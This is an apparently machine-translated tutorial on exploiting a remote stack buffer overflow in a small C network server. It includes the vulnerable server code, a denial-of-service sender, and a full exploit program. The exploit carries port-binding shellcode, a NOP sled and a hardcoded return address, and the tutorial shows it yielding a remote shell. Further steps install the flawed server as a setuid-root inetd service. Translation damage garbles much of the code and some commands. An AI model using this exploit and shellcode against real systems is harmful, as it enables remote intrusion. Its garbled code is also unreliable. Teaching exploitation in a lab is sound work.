How to Write a remote buffer overflow vulnerability exploitation Program

How to exploit Remote Buffer OverflowProgram

Here, we assume there is a vulnerable server program (vulnerable. c). Then we write an exploit to exploit this vulnerability, so that we can get a remote shell.

I. Understand programs with vulnerabilities:

--------------------------------------- Vulnerable. c ---------------------------------

# Include <stdio. h>

# Include <netdb. h>

# Include <netinet/in. h>

# Define buffer_size 1024

# Define name_size 2048

Int handling (int c)

{

Char buffer [buffer_size], name [name_size];

Int bytes;

Strcpy (buffer, "My name is :");

Bytes = Send (C, buffer, strlen (buffer), 0 );

If (Bytes =-1)

Return-1;

Bytes = Recv (C, name, sizeof (name), 0 );

If (Bytes =-1)

Return-1;

Name [bytes-1] = '\ 0 ';

Sprintf (buffer, "Hello % s, nice to meet you! \ R \ n ", name );

Bytes = Send (C, buffer, strlen (buffer), 0 );

If (Bytes =-1)

Return-1;

Return 0;

}

Int main (INT argc, char * argv [])

{

Int S, C, cli_size;

Struct sockaddr_in SRV, CLI;

If (argc! = 2)

{

Fprintf (stderr, "Usage: % s port \ n", argv [0]);

Return 1;

}

S = socket (af_inet, sock_stream, 0 );

If (S =-1)

{

Perror ("socket () failed ");

Return 2;

}

SRV. sin_addr.s_addr = inaddr_any;

SRV. sin_port = htons (unsigned short INT) atol (argv [1]);

SRV. sin_family = af_inet;

If (BIND (S, & SRV, sizeof (SRV) =-1)

{

Perror ("BIND () failed ");

Return 3;

}

If (Listen (s, 3) =-1)

{

Perror ("Listen () failed ");

Return 4;

}

For (;;)

{

C = accept (S, & CLI, & cli_size );

If (C =-1)

{

Perror ("accept () failed ");

Return 5;

}

Printf ("client from % s", inet_ntoa (CLI. sin_addr ));

If (Handling (c) =-1)

Fprintf (stderr, "% s: handling () failed", argv [0]);

Close (C );

}

Return 0;

}

---------------------------------------------- EOF ------------------------------------------------------

The program will be compiled and run as follows:

User @ Linux :~ /> GCC vulnerable. C-o vulnerable

User @ Linux :~ />./Vulnerable 8080

../Vulnerable 8080 indicates that you can run the service on port 8080

User @ Linux ~ /> GDB vulnerable

Gnu gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux "...

(GDB) Run 8080

Starting program:/home/user/directory/vulnerable 8080

Now the program listens to port 8080 and waits for connection.

User @ Linux :~ /> Telnet to localhost 8080

Trying: 1...

TELNET: connect to address: 1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape Character is "^]".

My name is: Robin

, Nice to meet you!

Connection closed by foreign host.

User @ Linux :~ />

It seems that there are no flaws, but GDB will display on the screen:

Client from 127.0.0.1 0xbffff28c (the access address varies with the machine type)

2. Buffer overflow of vulnerable programs

Re-connect to the service and provide more than 1024 bytes of input for the "My name is:..." command line:

User @ Linux :~ /> Telnet to localhost 8080

Trying: 1...

TELNET: connect to address: 1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape Character is "^]".

My name is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Aaaaaaa

The connection will be interrupted. Let's look at the output of GDB:

Program received signal SIGSEGV, segmentation fault.

0x41414141 in ?? ()

(GDB)

// Don't close GDB !!

It can be seen that the EIP is set to 0x41414141. 0x41 represents a "A". When we input 1024 bytes, the program will try to forward the string name [2048] into the buffer [1024]. Therefore, because name [2048] is greater than 1024 bytes, name will overwrite the buffer and overwrite the stored EIP. Our buffer will be in the following format:

Xxxxxxxx-name-2048-bytes-xxxxxxxxxx

[XXXXX buffer-only-1024-bytes XXX] [EIP]

After you overwrite the entire returned address, the function will jump to the wrong address 0x41414141, resulting in a piece error.

Write a Denial-of-Service attack tool for this program:

--------------------------------- Dos. c ---------------------------------------------

# Include <stdio. h>

# Include <netinet/in. h>

# Include <sys/socket. h>

# Include <sys/types. h>

# Include <netdb. h>

Int main (INT argc, char ** argv)

{

Struct sockaddr_in ADDR;

Struct hostent * Host;

Char buffer [2048];

Int S, I;

If (argc! = 3)

{

Fprintf (stderr, "Usage: % S
Exit (0 );

}

S = socket (af_inet, sock_stream, 0 );

If (S =-1)

{

Perror ("socket () failed \ n ");

Exit (0 );

}

Host = gethostbyname (argv [1]);

If (host = NULL)

{

Herror ("gethostbyname () failed ");

Exit (0 );

}

ADDR. sin_addr = * (struct in_addr *) Host-> h_addr;

ADDR. sin_family = af_inet;

ADDR. sin_port = htons (ATOL (argv [2]);

If (connect (S, & ADDR, sizeof (ADDR) =-1)

{

Perror ("Couldn" t connect so Server \ n ");

Exit (0 );

}

/* Not difficult only filling buffer with A's... den sending nothing more */

For (I = 0; I <2048; I ++)

Buffer [I] = "";

Printf ("buffer is: % s \ n", buffer );

Printf ("buffer filled... now sending buffer \ n ");

Send (S, buffer, strlen (buffer), 0 );

Printf ("buffer sent. \ n ");

Close (s );

Return 0;

}

--------------------------------------------- EOF --------------------

3. Find the return address:

Open GDB to find ESP:

(GDB) x/200bx $ esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

--- Type <return> to continue, or q <return> to quit ---

Now we know we have rewritten the entire buffer. Let's try a few addresses.

Iv. ExploitCodeStructure

1. Locate ESP and find a sehllcode that can bind shell to the port.

2. Create a buffer greater than 1024 bytes

2. Use NOP to fill in the entire buffer:

Memset (buffer, 0x90,106 4 );

3. Load shellcode into the buffer

Memcpy (buffer + 1001-sizeof (shellcode), shellcode, sizeof (shellcode ));

4. Eliminate zero bytes in the buffer:

Buffer [1000] = 0x90; // 0x90 is the NOP in hexadecimal

5. Return address for uncopied Buffer:

For (I = 1022; I <1059; I + = 4)

{

(Int *) & buffer [I]) = ret;

// RET is the returnaddress we want to use... # define in the header

}

6. Add a \ 0 zero byte to the uncompleted Buffer:

Buffer [1063] = 0x0;

Now you can send it to machines with vulnerabilities.

----------------------------------------- Exploit. c ----------------------------------

/* Simple Remote Exploit, which binds a shell on port 3789

* By Tron

*

* After return address was overwritten, you can connect

* With telnet or Netcat to the victim host on port 3789

* After you logged in... there's nothing, but try to enter "ID;" (don't forget the semicolon)

* So you shoshould get an output, OK you 've got a shell * g *. Always use:

*

* <Command>;

*

* Execute.

*/

# Include <stdio. h>

# Include <netdb. h>

# Include <netinet/in. h>

// Portbinding shellcode

Char shellcode [] =

"\ X89 \ xe5 \ x31 \ xd2 \ XB2 \ x66 \ x89 \ xd0 \ x31 \ xc9 \ x89 \ xcb \ x43 \ x89 \ x5d \ xf8"

"\ X43 \ x89 \ x5d \ xf4 \ x4b \ x89 \ x4d \ xfc \ x8d \ x4d \ xf4 \ XCD \ X80 \ x31 \ xc9 \ x89"

"\ X45 \ xf4 \ x43 \ x66 \ x89 \ x5d \ xec \ x66 \ xc7 \ x45 \ xee \ x0f \ x27 \ x89 \ x4d \ xf0"

"\ X8d \ x45 \ xec \ x89 \ x45 \ xf8 \ xc6 \ x45 \ xfc \ x10 \ x89 \ xd0 \ x8d \ x4d \ xf4 \ XCD"

"\ X80 \ x89 \ xd0 \ x43 \ x43 \ XCD \ X80 \ x89 \ xd0 \ x43 \ XCD \ X80 \ x89 \ xc3 \ x31 \ xc9"

"\ XB2 \ x3f \ x89 \ xd0 \ XCD \ X80 \ x89 \ xd0 \ x41 \ XCD \ X80 \ xeb \ X18 \ x5e \ x89 \ x75"

"\ X08 \ x31 \ xc0 \ x88 \ X46 \ x07 \ x89 \ x45 \ x0c \ xb0 \ x0b \ x89 \ xf3 \ x8d \ x4d \ x08"

"\ X8d \ x55 \ x0c \ XCD \ X80 \ xe8 \ xe3 \ xFF/bin/sh ";

// Standard offset (probably must be modified)

# Define RET 0xbffff5ec

Int main (INT argc, char * argv []) {

Char buffer [1064];

Int S, I, size;

Struct sockaddr_in remote;

Struct hostent * Host;

If (argc! = 3 ){

Printf ("Usage: % s target-IP port \ n", argv [0]);

Return-1;

}

// Filling buffer with NOPs

Memset (buffer, 0x90,106 4 );

// Copying shellcode into Buffer

Memcpy (buffer + 1001-sizeof (shellcode), shellcode, sizeof (shellcode ));

// The previous statement causes a unintential nullbyte at buffer [0, 1000]

Buffer [1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

For (I = 1022; I <1059; I + = 4 ){

* (Int *) & buffer [I]) = ret;

}

Buffer [1063] = 0x0;

// Getting hostname

Host = gethostbyname (argv [1]);

If (host = NULL)

{

Fprintf (stderr, "unknown host % s \ n", argv [1]);

Return-1;

}

// Creating socket...

S = socket (af_inet, sock_stream, 0 );

If (S <0)

{

Fprintf (stderr, "error: Socket \ n ");

Return-1;

}

// State protocolfamily, then converting the hostname or IP address, and getting port number

Remote. sin_family = af_inet;

Remote. sin_addr = * (struct in_addr *) Host-> h_addr );

Remote. sin_port = htons (atoi (argv [2]);

// Connecting with destination host

If (connect (S, (struct sockaddr *) & remote, sizeof (remote) =-1)

{

Close (s );

Fprintf (stderr, "error: connect \ n ");

Return-1;

}

// Sending exploit string

Size = Send (S, buffer, sizeof (buffer), 0 );

If (size =-1)

{

Close (s );

Fprintf (stderr, "sending data failed \ n ");

Return-1;

}

// Closing socket

Close (s );

}

----------------------------------------- EOF -------------------------------------

5. Use exploit:

User @ Linux ~ /> GCC exploit. C-o Exploit

User @ Linux ~ />./Exploit
It works if you get the correct return address.

User @ Linux ~ /> Telnet
ID;

Uid = 500 (User) gid = 500 (User) groups = 500 (User)

We can see that we have succeeded.

6. Obtain the root permission:

User @ Linux ~ /> Su

Password :******

Root @ Linux ~ /> Ls-ln vulnerable

-Rwxrwxr-x 1 500 500 14106 Jun 18 vulnerable

Root @ Linux ~ /> Chown root vulnerable

Root @ Linux ~ /> Chmod 6755 vulnerable

Root @ Linux ~ />./Vulnerable <port>

7. Enter the service defined in inetd. conf

Attackers can hack into/usr/bin/

Root @ Linux ~ /> CP vulnerable/usr/bin/vulnerable

Root @ Linux ~ /> VI/etc/services

Add the following information:

Vulnerable 1526/tcp # defining port for our server program

Root @ Linux ~ /> VI/etc/inetd. conf

Add the following information:

Vulnerable stream tcp Nowait root/usr/bin/vulnerable 1526

Restart inetd:

Root @ Linux ~ /> Killall-hup inetd

8. Possible problems:

If exploit cannot be used, consider the return address and use GDB for testing:

User @ Linux ~ /> GDB vulnerable

......

(GDB) Run <port>